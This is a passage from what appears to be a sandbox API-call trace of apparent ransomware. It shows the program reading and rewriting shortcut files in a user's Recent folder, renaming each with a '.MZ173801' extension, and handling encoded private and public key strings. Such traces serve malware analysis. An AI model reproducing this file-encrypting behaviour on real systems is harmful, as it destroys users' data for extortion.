lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.340] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.340] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x598 [0152.340] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.340] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x598, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x598, lpOverlapped=0x0) returned 1 [0152.340] CloseHandle (hObject=0x280) returned 1 [0152.341] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U6w rqSTE2RE5fqSNr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\u6w rqste2re5fqsnr.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.342] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x598, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x598, lpOverlapped=0x0) returned 1 [0152.343] CloseHandle (hObject=0x280) returned 1 [0152.347] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U6w rqSTE2RE5fqSNr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\u6w rqste2re5fqsnr.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U6w rqSTE2RE5fqSNr.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\u6w rqste2re5fqsnr.lnk.mz173801")) returned 1 [0152.348] GetCurrentThreadId () returned 0xab4 [0152.348] GetCurrentThreadId () returned 0xab4 [0152.348] GetCurrentThreadId () returned 0xab4 [0152.348] GetCurrentThreadId () returned 0xab4 [0152.348] GetCurrentThreadId () returned 0xab4 [0152.348] GetCurrentThreadId () returned 0xab4 [0152.348] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3327511, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3327511, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf3327511, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3f9, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="UdgbQ58vO-A8Tluz.lnk", cAlternateFileName="UDGBQ5~1.LNK")) returned 1 [0152.348] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.348] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.349] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UdgbQ58vO-A8Tluz.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\udgbq58vo-a8tluz.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3327511, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3327511, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf3327511, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3f9)) returned 1 [0152.349] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UdgbQ58vO-A8Tluz.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\udgbq58vo-a8tluz.lnk")) returned 0x20 [0152.349] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UdgbQ58vO-A8Tluz.lnk", dwFileAttributes=0x80) returned 1 [0152.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.352] GetCurrentThreadId () returned 0xab4 [0152.352] GetCurrentThreadId () returned 0xab4 [0152.352] GetCurrentThreadId () returned 0xab4 [0152.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.352] GetCurrentThreadId () returned 0xab4 [0152.353] GetCurrentThreadId () returned 0xab4 [0152.353] GetCurrentThreadId () returned 0xab4 [0152.353] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UdgbQ58vO-A8Tluz.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\udgbq58vo-a8tluz.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.353] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.353] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.353] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3f9 [0152.353] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.353] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3f9, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3f9, lpOverlapped=0x0) returned 1 [0152.354] CloseHandle (hObject=0x280) returned 1 [0152.354] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UdgbQ58vO-A8Tluz.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\udgbq58vo-a8tluz.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.355] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3f9, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3f9, lpOverlapped=0x0) returned 1 [0152.356] CloseHandle (hObject=0x280) returned 1 [0152.358] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UdgbQ58vO-A8Tluz.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\udgbq58vo-a8tluz.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UdgbQ58vO-A8Tluz.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\udgbq58vo-a8tluz.lnk.mz173801")) returned 1 [0152.359] GetCurrentThreadId () returned 0xab4 [0152.359] GetCurrentThreadId () returned 0xab4 [0152.359] GetCurrentThreadId () returned 0xab4 [0152.359] GetCurrentThreadId () returned 0xab4 [0152.359] GetCurrentThreadId () returned 0xab4 [0152.359] GetCurrentThreadId () returned 0xab4 [0152.359] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf246db79, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf246db79, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf246db79, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="UEnT80em6X.lnk", cAlternateFileName="UENT80~1.LNK")) returned 1 [0152.359] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.359] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.360] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UEnT80em6X.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uent80em6x.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf246db79, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf246db79, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf246db79, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3a1)) returned 1 [0152.360] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UEnT80em6X.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uent80em6x.lnk")) returned 0x20 [0152.360] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UEnT80em6X.lnk", 